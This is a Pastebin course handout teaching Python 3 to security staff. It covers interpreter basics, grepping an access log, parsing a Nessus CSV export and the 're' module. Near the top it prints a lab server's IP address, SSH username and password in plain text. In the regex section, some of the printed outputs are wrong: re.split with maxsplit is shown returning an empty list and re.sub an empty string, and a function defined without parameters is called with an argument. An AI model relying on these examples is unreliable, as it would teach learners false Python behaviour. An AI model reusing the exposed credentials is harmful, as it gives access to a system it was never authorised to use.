joemccray

Python3 for InfoSec Professionals - 2020

Jul 16th, 2019
1,126
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.                             ##############################
  2. ----------- ############### # Day 1: Python Fundamentals # ############### -----------
  3.                             ##############################
  4.  
  5.  
  6. ####################
  7. # Installing Python#
  8. ####################
  9. Windows
  10.  
  11. https://www.python.org/downloads/
  12.  
  13. 32-Bit Version
  14. https://www.python.org/ftp/python/3.7.3/python-3.7.3-webinstall.exe
  15.  
  16. 64-Bit Version
  17. https://www.python.org/ftp/python/3.7.3/python-3.7.3-amd64-webinstall.exe
  18.  
  19.  
  20. After you install Python in Windows the next thing you may want to install is IdleX:
  21. http://idlex.sourceforge.net/features.html
  22.  
  23. ---------------------------Type This-----------------------------------
  24.  
  25. Linux
  26. Debian/Ubuntu:      sudo apt-get install -y python
  27. RHEL/CentOS/Fedora: sudo yum install -y python
  28.  
  29. -----------------------------------------------------------------------
  30.  
  31.  
  32. After you install Python in Linux the next thing that you will need to do is install idle.
  33.  
  34. ---------------------------Type This-----------------------------------
  35.  
  36. sudo apt-get install -y idle
  37.  
  38. -----------------------------------------------------------------------
  39.  
  40. Open IDLE, and let's just dive right in.
  41.  
  42.  
  43. - I prefer to use Putty to SSH into my Linux host.
  44. - You can download Putty from here:
  45. - http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe
  46.  
  47. Here is the information to put into putty
  48.  
  49. Host Name:          107.191.39.106
  50. protocol:           ssh
  51. port:               22
  52. username:           sempra
  53. password:           semprapython3!    
  54.  
  55.  
  56. ####################################
  57. # Python Lesson 1: Simple Printing #
  58. ####################################
  59.  
  60. ---------------------------Type This-----------------------------------
  61. $ python3
  62.  
  63. >>> print ("Today we are learning Python.")
  64.  
  65. >>> exit()
  66. -----------------------------------------------------------------------
  67.  
  68.  
  69.  
  70.  
  71. ############################################
  72. # Python Lesson 2: Simple Numbers and Math #
  73. ############################################
  74.  
  75. ---------------------------Type This-----------------------------------
  76. $ python3
  77.  
  78. >>> 2+2
  79.  
  80. >>> 6-3
  81.  
  82. >>> 18/7
  83.  
  84. >>> 18.0/7
  85.  
  86. >>> 18.0/7.0
  87.  
  88. >>> 18/7
  89.  
  90. >>> 9%4
  91. 1
  92. >>> 8%4
  93. 0
  94. >>> 8.75%.5
  95.  
  96. >>> 6.*7
  97.  
  98. >>> 7*7*7
  99.  
  100. >>> 7**3
  101.  
  102. >>> 5**12
  103.  
  104. >>> -5**4
  105.  
  106. >>> exit()
  107.  
  108. -----------------------------------------------------------------------
  109.  
  110.  
  111.  
  112. ##############################
  113. # Python Lesson 3: Variables #
  114. ##############################
  115.  
  116. ---------------------------Type This-----------------------------------
  117. $ python3
  118.  
  119. >>> x=18
  120.  
  121. >>> x+15
  122.  
  123. >>> x**3
  124.  
  125. >>> y=54
  126.  
  127. >>> g=int(input("Enter number here: "))
  128. Enter number here: 43
  129. >>> g
  130.  
  131. >>> g+32
  132.  
  133. >>> g**3
  134.  
  135. >>> exit()
  136.  
  137. -----------------------------------------------------------------------
  138.  
  139.  
  140.  
  141.  
  142.  
  143. ##########################################
  144. # Python Lesson 4: Modules and Functions #
  145. ##########################################
  146.  
  147. ---------------------------Type This-----------------------------------
  148. $ python3
  149.  
  150. >>> 5**4
  151.  
  152. >>> pow(5,4)
  153.  
  154. >>> abs(-18)
  155.  
  156. >>> abs(5)
  157.  
  158. >>> floor(18.7)
  159.  
  160. >>> import math
  161.  
  162. >>> math.floor(18.7)
  163.  
  164. >>> math.sqrt(81)
  165.  
  166. >>> joe = math.sqrt
  167.  
  168. >>> joe(9)
  169.  
  170. >>> joe=math.floor
  171.  
  172. >>> joe(19.8)
  173.  
  174. >>> exit()
  175.  
  176. -----------------------------------------------------------------------
  177.  
  178.  
  179.  
  180. ############################
  181. # Python Lesson 5: Strings #
  182. ############################
  183.  
  184. ---------------------------Type This-----------------------------------
  185. $ python3
  186.  
  187. >>> "XSS"
  188.  
  189. >>> 'SQLi'
  190.  
  191. >>> "Joe's a python lover"
  192.  
  193. >>> "Joe said \"InfoSec is fun\" to me"
  194.  
  195. >>> a = "Joe"
  196.  
  197. >>> b = "McCray"
  198.  
  199. >>> a, b
  200.  
  201. >>> a+b
  202.  
  203. >>> exit()
  204. -----------------------------------------------------------------------
  205.  
  206.  
  207.  
  208.  
  209.  
  210. #################################
  211. # Python Lesson 6: More Strings #
  212. #################################
  213.  
  214. ---------------------------Type This-----------------------------------
  215. $ python3
  216.  
  217. >>> num = 10
  218.  
  219. >>> num + 2
  220.  
  221. >>> "The number of open ports found on this system is ",  num
  222.  
  223. >>> num = str(18)
  224.  
  225. >>> "There are ", num, " vulnerabilities found in this environment."
  226.  
  227. >>> num2 = 46
  228.  
  229. >>> "As of 08/20/2012, the number of states that enacted the Security Breach Notification Law is ", + num2
  230.  
  231. >>> exit()
  232. -----------------------------------------------------------------------
  233.  
  234.  
  235.  
  236.  
  237.  
  238. ########################################
  239. # Python Lesson 7: Sequences and Lists #
  240. ########################################
  241.  
  242. ---------------------------Type This-----------------------------------
  243. $ python3
  244.  
  245. >>> attacks = ['Stack Overflow', 'Heap Overflow', 'Integer Overflow', 'SQL Injection', 'Cross-Site Scripting', 'Remote File Include']
  246.  
  247. >>> attacks
  248. ['Stack Overflow', 'Heap Overflow', 'Integer Overflow', 'SQL Injection', 'Cross-Site Scripting', 'Remote File Include']
  249.  
  250. >>> attacks[3]
  251. 'SQL Injection'
  252.  
  253. >>> attacks[-2]
  254. 'Cross-Site Scripting'
  255.  
  256. >>> exit()
  257.  
  258.  
  259.  
  260. ------------------------------- Summary of fundamentals -------------------------------
  261.  
  262.  
  263. Joe rule #1 single quote, single quote, left arrow
  264. --------------------------------------------------
  265. '' <-- as soon as you type '', then hit your left arrow key to put you inside of the ''
  266. "" <-- as soon as you type "", then hit your left arrow key to put you inside of the ""
  267. something() <-- as soon as you type (), then hit your left arrow key to put you inside of the ()
  268. something[] <-- as soon as you type [], then hit your left arrow key to put you inside of the []
  269. something{} <-- as soon as you type {}, then hit your left arrow key to put you inside of the {}
  270.  
  271. -- Now kick it up a notch
  272. []  <-- as soon as you type [], then hit your left arrow key to put you inside of the []
  273. [()] <-- as soon as you type (), then hit your left arrow key to put you inside of the ()
  274. [({})] <-- as soon as you type {}, then hit your left arrow key to put you inside of the {}
  275. [({"''"})] <-- as soon as you type "", then hit your left arrow key to put you inside of the ""
  276. [({"''"})] <-- as soon as you type '', then hit your left arrow key to put you inside of the ''        
  277.  
  278.  
  279.  
  280. Joe rule #2 "Code can only do 3 things"
  281. --------------------------------------
  282.  
  283. Process     -   read, write, math
  284.  
  285. Decision    -   if/then
  286.  
  287. Loop        -   for
  288.  
  289.  
  290.  
  291.  
  292. Joe rule #3 "Never more than 5-10"
  293. ---------------------------------
  294.  
  295. -----5 lines of code----
  296. line 1 blah blah blah
  297. line 2 blah blah blah
  298. line 3 blah blah blah
  299. line 4 blah blah blah
  300. line 5 blah blah blah
  301.  
  302.  
  303.     sales_tax   =   price       *   tax_rate
  304.  
  305.  
  306.     0.80        =   10      *   0.08
  307.  
  308. -----5-10 lines of code---- = function
  309.     price = 10
  310.    
  311.     def st():
  312.         sales_tax = price * 0.08
  313.         print(sales_tax)
  314.  
  315.  
  316. st(10) <---- how to run a function
  317.  
  318. -----5-10 functions ---- = class   "tax class"
  319. st()
  320. lt()
  321. pt()
  322. it()
  323. dt()
  324.  
  325.  
  326.  
  327. tax.st()
  328. tax.lt()
  329.  
  330. -----5-10 functions ---- = class   "expense class"
  331. gas()
  332. elec()
  333. water()
  334. food()
  335. beer()
  336.  
  337. expense.gas()
  338.  
  339.  
  340. -----5-10 classes ---- = module   "finance module"
  341.  
  342. import finance
  343.  
  344.  
  345. ------------------------------- Summary of fundamentals -------------------------------
  346.  
  347. ##################################
  348. # Lesson 8: Intro to Log Analysis #
  349. ##################################
  350.  
  351.  
  352. Log into your Linux host then execute the following commands:
  353. -----------------------------------------------------------------------
  354. NOTE: If you are still in your python interpreter then you must type exit() to get back to a regular command-prompt.
  355.  
  356.  
  357.  
  358. ---------------------------Type This-----------------------------------
  359. mkdir yourname          <---- Use your actual first name (all lowercase and no spaces) instead of the word yourname
  360.  
  361. cd yourname
  362.  
  363. wget http://pastebin.com/raw/85zZ5TZX
  364.  
  365. mv 85zZ5TZX access_log
  366.  
  367.  
  368. cat access_log | grep 141.101.80.188
  369.  
  370. cat access_log | grep 141.101.80.188 | wc -l
  371.  
  372. cat access_log | grep 141.101.80.187
  373.  
  374. cat access_log | grep 141.101.80.187 | wc -l
  375.  
  376. cat access_log | grep 108.162.216.204
  377.  
  378. cat access_log | grep 108.162.216.204 | wc -l
  379.  
  380. cat access_log | grep 173.245.53.160
  381.  
  382. cat access_log | grep 173.245.53.160 | wc -l
  383.  
  384. ----------------------------------------------------------------------
  385.  
  386.  
  387.  
  388.  
  389.  
  390.  
  391.  
  392. ###############################################################
  393. # Python Lesson 9: Use Python to read in a file line by line  #
  394. ###############################################################
  395.  
  396.  
  397. ---------------------------Type This-----------------------------------
  398.  
  399. nano logread1.py
  400.  
  401.  
  402. ---------------------------Paste This-----------------------------------
  403. ## Open the file with read only permit
  404. f = open('access_log', "r")
  405.  
  406. ## use readlines to read all lines in the file
  407. ## The variable "lines" is a list containing all lines
  408. lines = f.readlines()
  409.  
  410. print (lines)
  411.  
  412.  
  413. ## close the file after reading the lines.
  414. f.close()
  415.  
  416. ----------------------------------------------------------------------
  417.  
  418.  
  419.  
  420.  
  421. ---------------------------Type This-----------------------------------
  422. $ python3 logread1.py
  423. ----------------------------------------------------------------------
  424.  
  425.  
  426.  
  427. Google the following:
  428.     - python difference between readlines and readline
  429.     - python readlines and readline
  430.  
  431.  
  432. Here is one student's solution - can you please explain each line of this code to me?
  433.  
  434.  
  435. ---------------------------Type This-----------------------------------
  436. nano ip_search.py
  437.  
  438.  
  439. ---------------------------Paste This-----------------------------------
  440. #!/usr/bin/env python3
  441.  
  442. f = open('access_log')
  443.  
  444. strUsrinput = input("Enter IP Address: ")
  445.  
  446. for line in iter(f):
  447.   ip = line.split(" - ")[0]
  448.   if ip == strUsrinput:
  449.       print (line)
  450.  
  451. f.close()
  452.  
  453.  
  454. ----------------------------------------------------------------------
  455.  
  456.  
  457.  
  458.  
  459. ---------------------------Type This-----------------------------------
  460. $ python3 ip_search.py
  461. ----------------------------------------------------------------------
  462.  
  463.  
  464.  
  465. Working with another student after class we came up with another solution:
  466.  
  467. ---------------------------Type This-----------------------------------
  468. nano ip_search2.py
  469.  
  470. ---------------------------Paste This-----------------------------------
  471. #!/usr/bin/env python
  472.  
  473.  
  474. # This line opens the log file
  475. f=open('access_log',"r")
  476.  
  477. # This line takes each line in the log file and stores it as an element in the list
  478. lines = f.readlines()
  479.  
  480.  
  481. # This lines stores the IP that the user types as a var called userinput
  482. userinput = input("Enter the IP you want to search for: ")
  483.  
  484.  
  485.  
  486. # This combination for loop and nested if statement looks for the IP in the list called lines and prints the entire line if found.
  487. for ip in lines:
  488.   if ip.find(userinput) != -1:
  489.       print (ip)
  490.  
  491. ----------------------------------------------------------------------
  492.  
  493.  
  494.  
  495. ---------------------------Type This-----------------------------------
  496. $ python3 ip_search2.py
  497. ----------------------------------------------------------------------
  498.  
  499.  
  500. ################################
  501. # Lesson 10: Parsing CSV Files #
  502. ################################
  503.  
  504. Type the following commands:
  505. ---------------------------------------------------------------------------------------------------------
  506.  
  507. ---------------------------Type This-----------------------------------
  508.  
  509. wget http://45.63.104.73/class_nessus.csv
  510.  
  511. ----------------------------------------------------------------------
  512.  
  513. Example 1 - Reading CSV files
  514. -----------------------------
  515. #To be able to read csv formated files, we will first have to import the
  516. #csv module.
  517.  
  518.  
  519. ---------------------------Type This-----------------------------------
  520. $ python3
  521. f = open('class_nessus.csv', 'r')
  522. for row in f:
  523.   print (row)
  524.      
  525.  
  526. ----------------------------------------------------------------------
  527.  
  528.  
  529.  
  530. Example 2 - Reading CSV files
  531. -----------------------------
  532.  
  533. ---------------------------Type This-----------------------------------
  534.  
  535. nano readcsv.py
  536.  
  537. ---------------------------Paste This-----------------------------------
  538. #!/usr/bin/env python3
  539. f = open('class_nessus.csv', 'r')      # opens the csv file
  540. try:
  541.     for row in f:                       # iterates the rows of the file in orders
  542.         print (row)                     # prints each row
  543. finally:
  544.     f.close()                           # closing
  545.  
  546.  
  547.  
  548. ----------------------------------------------------------------------
  549.  
  550.  
  551.  
  552. Ok, now let's run this thing.
  553.  
  554. --------------------------Type This-----------------------------------
  555. $ python3 readcsv.py
  556.  
  557. ----------------------------------------------------------------------
  558.  
  559.  
  560.  
  561.  
  562. Example 3 - - Reading CSV files
  563. -------------------------------
  564.  
  565. ---------------------------Type This-----------------------------------
  566.  
  567. nano readcsv2.py
  568.  
  569. ---------------------------Paste This-----------------------------------
  570. #!/usr/bin/python3
  571. # This program will then read it and displays its contents.
  572.  
  573. import csv
  574.  
  575. ifile  = open('class_nessus.csv', "r")
  576. reader = csv.reader(ifile)
  577.  
  578. rownum = 0
  579. for row in reader:
  580.     # Save header row.
  581.     if rownum == 0:
  582.         header = row
  583.     else:
  584.         colnum = 0
  585.         for col in row:
  586.             print ('%-8s: %s' % (header[colnum], col))
  587.             colnum += 1
  588.            
  589.     rownum += 1
  590.  
  591. ifile.close()
  592.  
  593.  
  594.  
  595. ----------------------------------------------------------------------
  596.  
  597.  
  598.  
  599. ---------------------------Type This-----------------------------------
  600.  
  601. $ python3 readcsv2.py | less
  602.  
  603.  
  604. ----------------------------------------------------------------------
  605.  
  606.  
  607.  
  608.  
  609.  
  610.  
  611.  
  612.  
  613.  
  614. ---------------------------Type This-----------------------------------
  615.  
  616. nano readcsv3.py
  617.  
  618. ---------------------------Paste This-----------------------------------
  619. #!/usr/bin/python3
  620. import csv
  621. f = open('class_nessus.csv', 'r')
  622. try:
  623.     rownum = 0
  624.     reader = csv.reader(f)
  625.     for row in reader:
  626.          #Save header row.
  627.         if rownum == 0:
  628.             header = row
  629.         else:
  630.             colnum = 0
  631.             if row[3].lower() == 'high':
  632.                 print ('%-1s: %s     %-1s: %s     %-1s: %s     %-1s: %s' % (header[3], row[3],header[4], row[4],header[5], row[5],header[6], row[6]))
  633.         rownum += 1
  634. finally:
  635.     f.close()
  636.  
  637. -----------------------------------------------------------------------
  638.  
  639.  
  640. ---------------------------Type This-----------------------------------
  641.  
  642. $ python3 readcsv3.py | less
  643. -----------------------------------------------------------------------
  644.  
  645.  
  646.  
  647. ---------------------------Type This-----------------------------------
  648.  
  649. nano readcsv4.py
  650. -----------------------------------------------------------------------
  651.  
  652. ---------------------------Paste This-----------------------------------
  653.  
  654. #!/usr/bin/python3
  655. import csv
  656. f = open('class_nessus.csv', 'r')
  657. try:
  658.     print ('/---------------------------------------------------/')
  659.     rownum = 0
  660.     hosts = {}
  661.     reader = csv.reader(f)
  662.     for row in reader:
  663.         # Save header row.
  664.         if rownum == 0:
  665.             header = row
  666.         else:
  667.             colnum = 0
  668.             if row[3].lower() == 'high' and row[4] not in hosts:
  669.                 hosts[row[4]] = row[4]
  670.                 print ('%-1s: %s     %-1s: %s     %-1s: %s     %-1s: %s' % (header[3], row[3],header[4], row[4],header[5], row[5],header[6], row[6]))
  671.         rownum += 1
  672. finally:
  673.     f.close()
  674. ----------------------------------------------------------------------
  675.  
  676.  
  677.  
  678. $ python3 readcsv4.py | less
  679.  
  680. ----------------------------------------------------------------------
  681.  
  682.  
  683.                             ######################################################
  684. ----------- ############### # Day 2: Regular Expressions, Functions, and Classes # ############### -----------
  685.                             ######################################################
  686.  
  687. #######################
  688. # Regular Expressions #
  689. #######################
  690.  
  691.  
  692.  
  693. **************************************************
  694. * What is Regular Expression and how is it used? *
  695. **************************************************
  696.  
  697.  
  698. Simply put, regular expression is a sequence of character(s) mainly used to find and replace patterns in a string or file.
  699.  
  700.  
  701. Regular expressions use two types of characters:
  702.  
  703. a) Meta characters: As the name suggests, these characters have a special meaning, similar to * in wildcard.
  704.  
  705. b) Literals (like a,b,1,2)
  706.  
  707.  
  708. In Python, we have module "re" that helps with regular expressions. So you need to import library re before you can use regular expressions in Python.
  709.  
  710.  
  711. Use this code --> import re
  712.  
  713.  
  714.  
  715.  
  716. The most common uses of regular expressions are:
  717. --------------------------------------------------
  718.  
  719. - Search a string (search and match)
  720. - Finding a string (findall)
  721. - Break string into a sub strings (split)
  722. - Replace part of a string (sub)
  723.  
  724.  
  725.  
  726. Let's look at the methods that library "re" provides to perform these tasks.
  727.  
  728.  
  729.  
  730. ****************************************************
  731. * What are various methods of Regular Expressions? *
  732. ****************************************************
  733.  
  734.  
  735. The ‘re' package provides multiple methods to perform queries on an input string. Here are the most commonly used methods, I will discuss:
  736.  
  737. re.match()
  738. re.search()
  739. re.findall()
  740. re.split()
  741. re.sub()
  742. re.compile()
  743.  
  744. Let's look at them one by one.
  745.  
  746.  
  747. re.match(pattern, string):
  748. -------------------------------------------------
  749.  
  750. This method finds match if it occurs at start of the string. For example, calling match() on the string ‘AV Analytics AV' and looking for a pattern ‘AV' will match. However, if we look for only Analytics, the pattern will not match. Let's perform it in python now.
  751.  
  752. Code
  753. ---------------------------Type This-----------------------------------
  754. $ python3
  755. import re
  756. result = re.match(r'AV', 'AV Analytics ESET AV')
  757. print (result)
  758. ----------------------------------------------------------------------
  759.  
  760. Output:
  761. <_sre.SRE_Match object at 0x0000000009BE4370>
  762.  
  763. Above, it shows that pattern match has been found. To print the matching string we'll use method group (It helps to return the matching string). Use "r" at the start of the pattern string, it designates a python raw string.
  764.  
  765. ---------------------------Type This-----------------------------------
  766. $ python3
  767. import re
  768. result = re.match(r'AV', 'AV Analytics ESET AV')
  769. print (result.group(0))
  770. ----------------------------------------------------------------------
  771.  
  772. Output:
  773. AV
  774.  
  775.  
  776. Let's now find ‘Analytics' in the given string. Here we see that string is not starting with ‘AV' so it should return no match. Let's see what we get:
  777.  
  778.  
  779. Code
  780. ---------------------------Type This-----------------------------------
  781. $ python3
  782. import re
  783. result = re.match(r'Analytics', 'AV Analytics ESET AV')
  784. print (result)
  785.  
  786. ----------------------------------------------------------------------
  787.  
  788.  
  789. Output:
  790. None
  791.  
  792.  
  793. There are methods like start() and end() to know the start and end position of matching pattern in the string.
  794.  
  795. Code
  796. ---------------------------Type This-----------------------------------
  797. $ python3
  798. import re
  799. result = re.match(r'AV', 'AV Analytics ESET AV')
  800. print (result.start())
  801. print (result.end())
  802.  
  803. ----------------------------------------------------------------------
  804.  
  805. Output:
  806. 0
  807. 2
  808.  
  809. Above you can see that start and end position of matching pattern ‘AV' in the string and sometime it helps a lot while performing manipulation with the string.
  810.  
  811.  
  812.  
  813.  
  814.  
  815. re.search(pattern, string):
  816. -----------------------------------------------------
  817.  
  818.  
  819. It is similar to match() but it doesn't restrict us to find matches at the beginning of the string only. Unlike previous method, here searching for pattern ‘Analytics' will return a match.
  820.  
  821. Code
  822. ---------------------------Type This-----------------------------------
  823. $ python3
  824. import re
  825. result = re.search(r'Analytics', 'AV Analytics ESET AV')
  826. print (result.group(0))
  827. ----------------------------------------------------------------------
  828.  
  829. Output:
  830. Analytics
  831.  
  832. Here you can see that, search() method is able to find a pattern from any position of the string but it only returns the first occurrence of the search pattern.
  833.  
  834.  
  835.  
  836.  
  837.  
  838.  
  839. re.findall (pattern, string):
  840. ------------------------------------------------------
  841.  
  842.  
  843. It helps to get a list of all matching patterns. It has no constraints of searching from start or end. If we will use method findall to search ‘AV' in given string it will return both occurrence of AV. While searching a string, I would recommend you to use re.findall() always, it can work like re.search() and re.match() both.
  844.  
  845.  
  846. Code
  847. ---------------------------Type This-----------------------------------
  848. $ python3
  849. import re
  850. result = re.findall(r'AV', 'AV Analytics ESET AV')
  851. print (result)
  852. ----------------------------------------------------------------------
  853.  
  854. Output:
  855. ['AV', 'AV']
  856.  
  857.  
  858.  
  859.  
  860.  
  861. re.split(pattern, string, [maxsplit=0]):
  862. ------------------------------------------------------
  863.  
  864.  
  865.  
  866. This methods helps to split string by the occurrences of given pattern.
  867.  
  868.  
  869. Code
  870. ---------------------------Type This-----------------------------------
  871. $ python3
  872. result=re.split(r'y','Analytics')
  873. result
  874. ----------------------------------------------------------------------
  875.  
  876. Output:
  877. ['Anal', 'tics']
  878.  
  879. Above, we have split the string "Analytics" by "y". Method split() has another argument "maxsplit". It has default value of zero. In this case it does the maximum splits that can be done, but if we give value to maxsplit, it will split the string. Let's look at the example below:
  880.  
  881.  
  882. Code
  883. ---------------------------Type This-----------------------------------
  884. $ python3
  885. import re
  886. result=re.split(r's','Analytics eset')
  887. print (result)
  888.  
  889. ----------------------------------------------------------------------
  890.  
  891. Output:
  892. ['Analytic', ' e', 'et'] #It has performed all the splits that can be done by pattern "s".
  893.  
  894.  
  895.  
  896. Code
  897. ---------------------------Type This-----------------------------------
  898. $ python3
  899. import re
  900. result=re.split(r's','Analytics eset',maxsplit=1)
  901. print (result)
  902.  
  903. ----------------------------------------------------------------------
  904.  
  905. Output:
  906. []
  907.  
  908.  
  909.  
  910.  
  911.  
  912. re.sub(pattern, repl, string):
  913. ----------------------------------------------------------
  914.  
  915. It helps to search a pattern and replace with a new sub string. If the pattern is not found, string is returned unchanged.
  916.  
  917. Code
  918. ---------------------------Type This-----------------------------------
  919. $ python3
  920. import re
  921. result=re.sub(r'Ruby','Python','Joe likes Ruby')
  922. print (result)
  923. ----------------------------------------------------------------------
  924.  
  925. Output:
  926. ''
  927.  
  928.  
  929.  
  930.  
  931.  
  932. re.compile(pattern, repl, string):
  933. ----------------------------------------------------------
  934.  
  935.  
  936. We can combine a regular expression pattern into pattern objects, which can be used for pattern matching. It also helps to search a pattern again without rewriting it.
  937.  
  938.  
  939. Code
  940. ---------------------------Type This-----------------------------------
  941. $ python3
  942. import re
  943. pattern=re.compile('XSS')
  944. result=pattern.findall('XSS is Cross Site Scripting, XSS')
  945. print (result)
  946. result2=pattern.findall('XSS is Cross Site Scripting, SQLi is Sql Injection')
  947. print (result2)
  948.  
  949. ----------------------------------------------------------------------
  950.  
  951. Output:
  952. ['XSS', 'XSS']
  953. ['XSS']
  954.  
  955. Till now,  we looked at various methods of regular expression using a constant pattern (fixed characters). But, what if we do not have a constant search pattern and we want to return specific set of characters (defined by a rule) from a string?  Don't be intimidated.
  956.  
  957. This can easily be solved by defining an expression with the help of pattern operators (meta  and literal characters). Let's look at the most common pattern operators.
  958.  
  959.  
  960.  
  961.  
  962.  
  963. **********************************************
  964. * What are the most commonly used operators? *
  965. **********************************************
  966.  
  967.  
  968. Regular expressions can specify patterns, not just fixed characters. Here are the most commonly used operators that helps to generate an expression to represent required characters in a string or file. It is commonly used in web scrapping and  text mining to extract required information.
  969.  
  970. Operators   Description
  971. .           Matches with any single character except newline ‘\n'.
  972. ?           match 0 or 1 occurrence of the pattern to its left
  973. +           1 or more occurrences of the pattern to its left
  974. *           0 or more occurrences of the pattern to its left
  975. \w          Matches with a alphanumeric character whereas \W (upper case W) matches non alphanumeric character.
  976. \d          Matches with digits [0-9] and /D (upper case D) matches with non-digits.
  977. \s          Matches with a single white space character (space, newline, return, tab, form) and \S (upper case S) matches any non-white space character.
  978. \b          boundary between word and non-word and /B is opposite of /b
  979. [..]            Matches any single character in a square bracket and [^..] matches any single character not in square bracket
  980. \          It is used for special meaning characters like \. to match a period or \+ for plus sign.
  981. ^ and $         ^ and $ match the start or end of the string respectively
  982. {n,m}           Matches at least n and at most m occurrences of preceding expression if we write it as {,m} then it will return at least any minimum occurrence to max m preceding expression.
  983. a| b            Matches either a or b
  984. ( )         Groups regular expressions and returns matched text
  985. \t, \n, \r  Matches tab, newline, return
  986.  
  987.  
  988. For more details on  meta characters "(", ")","|" and others details , you can refer this link (https://docs.python.org/2/library/re.html).
  989.  
  990. Now, let's understand the pattern operators by looking at the below examples.
  991.  
  992.  
  993.  
  994. ****************************************
  995. * Some Examples of Regular Expressions *
  996. ****************************************
  997.  
  998. ******************************************************
  999. * Problem 1: Return the first word of a given string *
  1000. ******************************************************
  1001.  
  1002.  
  1003. Solution-1  Extract each character (using "\w")
  1004. ---------------------------------------------------------------------------
  1005.  
  1006. Code
  1007. ---------------------------Type This-----------------------------------
  1008. $ python3
  1009. import re
  1010. result=re.findall(r'.','Python is the best scripting language')
  1011. print (result)
  1012. ----------------------------------------------------------------------
  1013.  
  1014. Output:
  1015. ['P', 'y', 't', 'h', 'o', 'n', ' ', 'i', 's', ' ', 't', 'h', 'e', ' ', 'b', 'e', 's', 't', ' ', 's', 'c', 'r', 'i', 'p', 't', 'i', 'n', 'g', ' ', 'l', 'a', 'n', 'g', 'u', 'a', 'g', 'e']
  1016.  
  1017.  
  1018. Above, space is also extracted, now to avoid it use "\w" instead of ".".
  1019.  
  1020.  
  1021. Code
  1022. ---------------------------Type This-----------------------------------
  1023. $ python3
  1024. import re
  1025. result=re.findall(r'\w','Python is the best scripting language')
  1026. print (result)
  1027.  
  1028. ----------------------------------------------------------------------
  1029.  
  1030. Output:
  1031. ['P', 'y', 't', 'h', 'o', 'n', 'i', 's', 't', 'h', 'e', 'b', 'e', 's', 't', 's', 'c', 'r', 'i', 'p', 't', 'i', 'n', 'g', 'l', 'a', 'n', 'g', 'u', 'a', 'g', 'e']
  1032.  
  1033.  
  1034.  
  1035.  
  1036. Solution-2  Extract each word (using "*" or "+")
  1037. ---------------------------------------------------------------------------
  1038.  
  1039. Code
  1040. ---------------------------Type This-----------------------------------
  1041. $ python3
  1042. import re
  1043. result=re.findall(r'\w*','Python is the best scripting language')
  1044. print (result)
  1045.  
  1046. ----------------------------------------------------------------------
  1047.  
  1048. Output:
  1049. ['Python', '', 'is', '', 'the', '', 'best', '', 'scripting', '', 'language', '']
  1050.  
  1051.  
  1052. Again, it is returning space as a word because "*" returns zero or more matches of pattern to its left. Now to remove spaces we will go with "+".
  1053.  
  1054. Code
  1055. ---------------------------Type This-----------------------------------
  1056. $ python3
  1057. import re
  1058. result=re.findall(r'\w+','Python is the best scripting language')
  1059. print (result)
  1060.  
  1061. ----------------------------------------------------------------------
  1062.  
  1063. Output:
  1064. ['Python', 'is', 'the', 'best', 'scripting', 'language']
  1065.  
  1066.  
  1067.  
  1068.  
  1069. Solution-3 Extract each word (using "^")
  1070. -------------------------------------------------------------------------------------
  1071.  
  1072.  
  1073. Code
  1074. ---------------------------Type This-----------------------------------
  1075. $ python3
  1076. import re
  1077. result=re.findall(r'^\w+','Python is the best scripting language')
  1078. print (result)
  1079.  
  1080. ----------------------------------------------------------------------
  1081.  
  1082. Output:
  1083. ['Python']
  1084.  
  1085. If we will use "$" instead of "^", it will return the word from the end of the string. Let's look at it.
  1086.  
  1087. Code
  1088. ---------------------------Type This-----------------------------------
  1089. $ python3
  1090. import re
  1091. result=re.findall(r'\w+$','Python is the best scripting language')
  1092. print (result)
  1093. ----------------------------------------------------------------------
  1094.  
  1095. Output:
  1096. [‘language']
  1097.  
  1098.  
  1099.  
  1100.  
  1101.  
  1102. **********************************************************
  1103. * Problem 2: Return the first two character of each word *
  1104. **********************************************************
  1105.  
  1106.  
  1107.  
  1108.  
  1109. Solution-1  Extract consecutive two characters of each word, excluding spaces (using "\w")
  1110. ------------------------------------------------------------------------------------------------------
  1111.  
  1112. Code
  1113. ---------------------------Type This-----------------------------------
  1114. $ python3
  1115. import re
  1116. result=re.findall(r'\w\w','Python is the best')
  1117. print (result)
  1118.  
  1119. ----------------------------------------------------------------------
  1120.  
  1121. Output:
  1122. ['Py', 'th', 'on', 'is', 'th', 'be', 'st']
  1123.  
  1124.  
  1125.  
  1126.  
  1127.  
  1128. Solution-2  Extract consecutive two characters those available at start of word boundary (using "\b")
  1129. ------------------------------------------------------------------------------------------------------
  1130.  
  1131. Code
  1132. ---------------------------Type This-----------------------------------
  1133. $ python3
  1134. import re
  1135. result=re.findall(r'\b\w.','Python is the best')
  1136. print (result)
  1137.  
  1138. ----------------------------------------------------------------------
  1139.  
  1140. Output:
  1141. ['Py', 'is', 'th', 'be']
  1142.  
  1143.  
  1144.  
  1145.  
  1146.  
  1147.  
  1148. ********************************************************
  1149. * Problem 3: Return the domain type of given email-ids *
  1150. ********************************************************
  1151.  
  1152.  
  1153. To explain it in simple manner, I will again go with a stepwise approach:
  1154.  
  1155.  
  1156.  
  1157.  
  1158.  
  1159. Solution-1  Extract all characters after "@"
  1160. ------------------------------------------------------------------------------------------------------------------
  1161.  
  1162. Code
  1163. ---------------------------Type This-----------------------------------
  1164. $ python3
  1165. import re
  1166. result=re.findall(r'@\w+','abc.test@gmail.com, xyz@test.com, test.first@strategicsec.com, first.test@rest.biz')
  1167. print (result)
  1168. ----------------------------------------------------------------------
  1169.  
  1170. Output: ['@gmail', '@test', '@strategicsec', '@rest']
  1171.  
  1172.  
  1173.  
  1174. Above, you can see that ".com", ".biz" part is not extracted. To add it, we will go with below code.
  1175.  
  1176. ---------------------------Type This-----------------------------------
  1177. $ python3
  1178. import re
  1179. result=re.findall(r'@\w+.\w+','abc.test@gmail.com, xyz@test.com, test.first@strategicsec.com, first.test@rest.biz')
  1180. print (result)
  1181.  
  1182. ----------------------------------------------------------------------
  1183.  
  1184. Output:
  1185. ['@gmail.com', '@test.com', '@strategicsec.com', '@rest.biz']
  1186.  
  1187.  
  1188.  
  1189.  
  1190.  
  1191.  
  1192. Solution – 2 Extract only domain name using "( )"
  1193. -----------------------------------------------------------------------------------------------------------------------
  1194.  
  1195.  
  1196. Code
  1197. ---------------------------Type This-----------------------------------
  1198. $ python3
  1199. import re
  1200. result=re.findall(r'@\w+.(\w+)','abc.test@gmail.com, xyz@test.com, test.first@strategicsec.com, first.test@rest.biz')
  1201. print (result)
  1202.  
  1203. ----------------------------------------------------------------------
  1204.  
  1205. Output:
